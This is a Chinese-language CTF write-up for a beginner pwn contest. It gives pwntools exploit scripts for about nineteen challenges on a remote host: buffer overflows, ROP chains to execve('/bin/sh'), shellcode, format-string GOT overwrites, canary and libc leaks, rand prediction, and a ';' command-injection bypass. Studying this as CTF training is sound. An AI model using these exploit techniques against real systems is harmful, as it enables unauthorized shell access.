有19道题这么多,不过基本是入门题,都是在骗新生,看这么容易快来PWN吧!
week1
四则计算器
这里用危险函数gets读入有个溢出.而且PIE也没开,地址是固定的.而且有后门.直接溢出到ret写上后门即可.
from pwn import *
p = remote('112.6.51.212', 31473)
context(arch='amd64', log_level='debug')
p.sendlineafter(b'--->', b'\x00'*50 + flat(0, 0x4015e4))
p.sendlineafter(b"If you wanna reuse plz input 1\n", b'0')
p.sendline(b'cat flag')
p.interactive()
猜数游戏
调用了随机数函数,用时间置种子.由于前后台都与标准时钟同步,所以可以在本地得到这个时间然后用随机数生成相同的数字.
这里没有给libc,但rand这个函数在各个版本上没有什么变化,随便找一个就能用.另外有个坑:32位随机数大多数是11位10进制数,1开头,但这题只能输入10位.当随机数为10位时才能成功.
from pwn import *
#p = process('./guess')
p = remote('112.6.51.212', 31904)
context(arch='amd64', log_level='debug')
from ctypes import *
clibc = cdll.LoadLibrary("/home/kali/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
clibc.srand(clibc.time(0))
v =clibc.rand()
print(v)
p.sendlineafter(b'how many digit you think about this number?\n', b'11 ')
p.sendline(str(v).encode()+b'\x00') #当长度不够11位时可成功
p.interactive()
hard nc
略,连上去随便找,练习linux命令
rop chain
栈上只有32,但可读入0x300,而且从代码里能找出所有ROP,直接整链就行了
from pwn import *
#p = process('./simplerop')
p = remote('112.6.51.212', 31807)
context(arch='amd64', log_level='debug')
#gdb.attach(p, 'b*0x401852\nc')
pop_rax = 0x0000000000419a1c # pop rax ; ret
pop_rdi = 0x0000000000401d1d # pop rdi ; ret
pop_rsi = 0x000000000040a30d # pop rsi ; ret
pop_rdx = 0x0000000000401858 # pop rdx ; ret
pop_rcx = 0x000000000040185a # pop rcx ; ret
leave_ret = 0x401852
bss = 0x49ff00
syscall = 0x451c05 #syscall ret
pay = b'\x00'*0x20 + flat(bss, pop_rdi, 0, pop_rsi, bss, pop_rdx, 8, pop_rax, 0, syscall, pop_rdi, bss, pop_rsi,0, pop_rdx,0, pop_rax, 59, syscall)
p.sendafter(b':', pay.ljust(768, b'\x00'))
p.send(b'/bin/sh\x00')
p.interactive()
口算题
没有附件,远程就是些口算题,但是需要写程序的时候转换*和/
from pwn import *
p = remote('112.6.51.212', 31529)
context(arch='amd64', log_level='debug')
p.sendlineafter(b'...',b'')
while True:
p.recvline()
v = p.recvline()[:-3]
print(v)
v = v.replace(b'\xc3\x97', b'*').replace(b'\xc3\xb7', b'/')
r = eval(v)
p.sendline(str(r).encode())
p.recvline()
p.interactive()
baby stack
还是栈溢出,在vuln有个溢出,前边有个hint 是说bsh = '$0',这里$0和/bin/sh是一样的
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v3; // rax
setbuf(_bss_start, 0LL);
setbuf(stderr, 0LL);
setbuf(stdin, 0LL);
v3 = strlen(hello);
write(1, hello, v3);
system("echo Let me see how can you pwn it\n");
vuln();
return 0;
}
ssize_t vuln()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
hint();
return read(0, buf, 0x100uLL);
}
void hint()
{
bsh = (__int64)&unk_400858;
}
可以直接system($0)也可以用传统方法先泄露再geshell
from pwn import *
#p = process('./babystack')
p = remote('112.6.51.212', 32089)
context(arch='amd64', log_level='debug')
elf = ELF('./babystack')
pop_rdi = 0x0000000000400833 # pop rdi ; ret
pop_rsi = 0x0000000000400831 # pop rsi ; pop r15 ; ret
bss = 0x601f20
#gdb.attach(p, 'b*0x400740\nc')
pay = b'\x00'*0x20 + flat(bss, pop_rdi,1, pop_rsi, elf.got['system'], 0, elf.plt['write'], 0x400718)
p.sendafter(b'it\n', pay.ljust(0x100, b'\x00'))
system = u64(p.recv(8))
libc_addr = system - 0x453a0
bin_sh = libc_addr + 0x18ce57
print(f"{ libc_addr = :x}")
pay = b'\x00'*0x20 + flat(bss, pop_rdi,bin_sh, pop_rsi, 0, 0, system, 0x400718)
p.send(pay)
p.interactive()
show show way
读入s然后比较y,p相等.y在s后边直接向后写覆盖y即可.
int vuln()
{
gets(&s);
if ( strcmp(y, p) )
{
puts("you lose the game");
exit(0);
}
return getflag();
}
from pwn import *
#p = process('./babystack')
p = remote('112.6.51.212', 32467)
context(arch='amd64', log_level='debug')
p.sendlineafter(b"Let's try\n", b'A'*0x40+b'showshowway\x00')
p.interactive()
pkmon
可以输入一个数作为偏移,然后往这个地址里写数据.可以直接往got[puts]写入get_flag
__int64 vuln()
{
int v1; // [rsp+Ch] [rbp-4h] BYREF
puts("Congratulations on becoming a Pokemon Master");
puts("Now come up with a name for your Pokemon");
__isoc99_scanf("%d", &v1);
return __isoc99_scanf("%8s", 8 * v1 + 0x6010A0LL);
}
week2
easy_shellcode
通过栈上的值写0x10在输出时带出栈地址,并且栈可执行.输入shellcode然后在ret处写个跳转
from pwn import *
p = remote('112.6.51.212', 31855)
context(arch='amd64', log_level='debug')
p.sendafter(b"What's your name?\n", b'A'*0x10)
p.recvuntil(b'A'*0x10)
stack = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x80
print(f"{ stack = :x}")
p.sendafter(b"please input your strong\n", asm(shellcraft.sh()).ljust(0x78,b'\x00')+ p64(stack))
p.sendline(b"cat flag")
p.interactive()
baby rop
32位溢出用ROP_gadget --ropchain得到chain然后缩一下
from pwn import *
from struct import pack
# Padding goes here
p = b''
p += pack('<I', 0x0804993d) # pop edx ; ret
p += pack('<I', 0x080e4e80) # @ .data
p += pack('<I', 0x080aa06a) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080537da) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0804993d) # pop edx ; ret
p += pack('<I', 0x080e4e84) # @ .data + 4
p += pack('<I', 0x080aa06a) # pop eax ; ret
p += b'/sh\x00'
p += pack('<I', 0x080537da) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0804901e) # pop ebx ; ret
p += pack('<I', 0x080e4e80) # @ .data
p += pack('<I', 0x0804993f) # pop ecx ; ret
p += pack('<I', 0x080e4e88) # @ .data + 8
p += pack('<I', 0x0804993d) # pop edx ; ret
p += pack('<I', 0x080e4e88) # @ .data + 8
p += pack('<I', 0x080aa06a) # pop eax ; ret
p += p32(11)
p += pack('<I', 0x08049b62) # int 0x80
#io = process('./simplerop32')
io = remote('112.6.51.212', 31994)
context(arch='i386', log_level='debug')
#gdb.attach(io, "b*0x804992e\nc")
io.sendafter(b"Now, please enter something", b'\x00'*0x20 + p)
io.interactive()
baby rop2
64位的情况
from pwn import *
from struct import pack
# Padding goes here
p = b''
p += pack('<Q', 0x000000000040a30d) # pop rsi ; ret
p += pack('<Q', 0x000000000049d0c0) # @ .data
p += pack('<Q', 0x0000000000419a1c) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000041ac41) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a30d) # pop rsi ; ret
p += pack('<Q', 0x000000000049d0c8) # @ .data + 8
p += pack('<Q', 0x0000000000417e25) # xor rax, rax ; ret
p += pack('<Q', 0x000000000041ac41) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401d1d) # pop rdi ; ret
p += pack('<Q', 0x000000000049d0c0) # @ .data
p += pack('<Q', 0x000000000040a30d) # pop rsi ; ret
p += pack('<Q', 0x000000000049d0c8) # @ .data + 8
p += pack('<Q', 0x0000000000401858) # pop rdx ; ret
p += pack('<Q', 0x000000000049d0c8) # @ .data + 8
p += pack('<Q', 0x0000000000419a1c) # pop rax ; ret
p += p64(59)
p += pack('<Q', 0x0000000000401243) # syscall
#io = process('./simplerop64')
io = remote('112.6.51.212', 32322)
context(arch='amd64', log_level='debug')
#gdb.attach(io, "b*0x401852\nc")
io.sendafter(b"Now, please enter something", b'\x00'*0x28 + p)
io.interactive()
string
格式化字符串漏洞.而且次数不限.先泄露libc再改got[atoi]为system输入/bin/sh
from pwn import *
#p = process('./pwn')
p = remote('112.6.51.212', 32427)
context(arch='amd64', log_level='debug')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
#gdb.attach(p, "b*0x4012b5\nc")
p.sendlineafter(b"Input your choice:\n", b'1')
p.sendlineafter(b"Input your message:\n", b'%43$p')
libc.address = int(p.recvline(), 16) - 243 - libc.sym['__libc_start_main']
print(f"{ libc.address = :x}")
one = libc.address + 0xe3afe #0xe3b01 0xe3b04
p.sendlineafter(b"Input your choice:\n", b'1')
p.sendlineafter(b"Input your message:\n", fmtstr_payload(6, {elf.got['atoi']: libc.sym['system']}))
p.sendlineafter(b"Input your choice:\n", b'/bin/sh\x00')
p.interactive()
原始人启动
有个检查输入串,但仅查一部分,用;号绕过即可.
from pwn import *
#p = process('./Genshin')
p = remote('112.6.51.212', 32590)
context(arch='amd64', log_level='debug')
msg = b'yuanshen,qidong!;/bin/sh'
v = [u32(msg[i:i+4]) for i in range(0, len(msg),4)] + [0]*10
p.recvline()
for i in v:
p.sendline(str(i).encode())
p.recvline()
p.interactive()
要买此东西吗
32位有printf可得到想要的地址,有溢出,唯一难点在于加了canary,需要先泄露canary
from pwn import *
#p = process('./pwn2')
p = remote('112.6.51.212', 32696)
context(arch='i386', log_level='debug')
elf = ELF('./pwn2')
libc = ELF('./libc.so.6')
#libc = ELF('/usr/lib/i386-linux-gnu/libc.so.6')
#gdb.attach(p, "b*0x80494c5\nc")
p.sendlineafter(b"Your choice:\n", b'1')
p.sendlineafter(b"and you can get a gift\n", b'%15$p')
canary = int(p.recvline(), 16)
print(f"{ canary = :x}")
p.sendlineafter(b"Your choice:\n", b'1')
p.sendlineafter(b"and you can get a gift\n", b'%19$p')
libc.address = int(p.recvline(), 16) - 245 - libc.sym['__libc_start_main']
print(f"{ libc.address = :x}")
ret = 0x8049479
p.sendlineafter(b"Your choice:\n", b'2')
p.sendafter(b"and you can get the power\n", b'\x00'*0x20 + flat(canary, 0,0,0, ret, libc.sym['system'],0, 0x804a03f))
p.interactive()
week3
call call world
输入前两个给v2后边给nptr再后边给v4,后边这段参数看汇编,是执行int 0x80
from pwn import *
from base64 import b64encode
#p = process('./bac')
p = remote('112.6.51.212', 30335)
context(arch='i386', log_level='debug')
#gdb.attach(p, "b*0x8049556\nc")
elf = ELF('./bac')
#fff()
p.sendlineafter(b'shell??\n', b'\x00'*0x48 + flat(0, elf.sym['backd00r']))
p.sendlineafter(b'!', b64encode(b'110/bin/sh\x00')) #ecx:2, eax:1 ebx->/bin/sh
p.interactive()
transfer
数据被读到bss上,然后有个很小的溢出只有8字节,不能写ROP只能写个跳转.
先把ROP传上去,再移栈跳到ROP执行
from pwn import *
from base64 import b64encode
#p = process('./transfer')
p = remote('112.6.51.212', 30360)
context(arch='amd64', log_level='debug')
#gdb.attach(p, "b*0x4012a7\nc")
elf = ELF('./transfer')
pop_rdi = 0x0000000000401313 # pop rdi ; ret
pop_rsi = 0x0000000000401311 # pop rsi ; pop r15 ; ret
leave_ret = 0x4012a7
str1 = 0x405160
p.sendafter(b'haha,welcome!\n', flat(b'/bin/sh\x00', pop_rdi, str1, 0x40122e))
p.sendafter(b"input:\n", flat(0, str1, leave_ret))
p.interactive()
After math
先过两关,然后有溢出.
第1关是猜数字,跟前边的随机数一样,用ctype库
第2关需要一个负数绕过
然后后边可以 printf泄露和改got表
from pwn import *
from ctypes import *
#p = process('./aftermath')
context(arch='amd64', log_level='debug')
elf = ELF('./aftermath')
clibc = cdll.LoadLibrary("./libc.so.6")
while True:
p = remote('112.6.51.212', 30737)
#1
#p.recvline()
clibc.srand(clibc.time(0)) #时间同步
v3 = clibc.rand()
v2 = ((v3 + 1919810)&0xffffffff)^0x1bf52
p.sendlineafter(b"Let's see how to pass the randomness and the unknown\n",str(v2).encode())
if b'not' in p.recvline():
p.close()
continue
break
#2
p.sendlineafter(b"Input v1:", b'0')
p.sendlineafter(b"Input v2:", b'4294967196') #-100&0xffffffff
#gdb.attach(p, "b*0x401541\nc")
#3 printf
p.recvuntil(b"If you pass, I will give you shell as a gift\n")
p.sendline(b"%43$p,%39$p,%40$p,%41$p")
libc_address = int(p.recvuntil(b',', drop=True),16) - 0x29d90 # 2.35 0x2718a #libc版本不详
print(f"{ libc_address = :x}")
p.sendline(fmtstr_payload(6, {elf.got['printf']: libc_address + 0x50d60})) #0x4c330
p.sendline(b'/bin/sh')
p.interactive()
start your PWN
传统的溢出,泄露+getshell两回合
from pwn import *
#p = process('./start')
p = remote('112.6.51.212', 30755)
context(arch='amd64', log_level='debug')
#gdb.attach(p, "b*0x400697\nc")
elf = ELF('./start')
pop_rdi = 0x0000000000400773 # pop rdi ; ret
pop_rsi = 0x0000000000400771 # pop rsi ; pop r15 ; ret
p.sendafter(b"Please:\n", b'\x00'*0x100 + flat(0x601f00, pop_rdi, 1, pop_rsi, elf.got['write'],1, elf.plt['write'], pop_rsi, elf.got['write']+4, 1, elf.plt['write'], elf.sym['main']))
p.recv(4)
a = p.recv(4)+p.recv(4)
print(a)
libc_base = u64(a) - 0x10e060 #0xf8180
print( f"{ libc_base = :x}" )
system = libc_base + 0x52290 #0x4c330
bin_sh = libc_base + 0x1b45bd #0x196031
p.sendafter(b"Please:\n", b'\x00'*0x100 + flat(0x601f00, pop_rdi, bin_sh, system))
p.interactive()